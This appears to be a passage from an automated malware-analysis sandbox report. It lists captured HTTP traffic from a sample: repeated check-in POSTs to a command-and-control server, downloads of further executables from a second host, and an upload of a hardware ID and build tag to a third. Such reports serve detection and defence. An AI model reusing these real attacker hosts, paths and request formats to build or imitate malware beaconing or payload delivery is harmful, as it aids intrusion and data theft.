Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 16 Dec 2024 11:36:53 GMTIf-None-Match: "676010d5-1ca600"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016102001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 16 Dec 2024 11:36:47 GMTIf-None-Match: "676010cf-1bd000"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 30 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016103001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJKJDAEBFCBKECBGDBFCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 43 36 43 45 44 44 32 35 32 45 33 34 34 31 30 34 31 38 31 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 2d 2d 0d 0a Data Ascii: ------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="hwid"A6C6CEDD252E3441041814------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="build"stok------JJKJDAEBFCBKECBGDBFC--
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 16 Dec 2024 11:34:42 GMTIf-None-Match: "67601052-ecc00"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016104001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 16 Dec 2024 11:35:10 GMTIf-None-Match: "6760106e-2b7e00"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016105001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
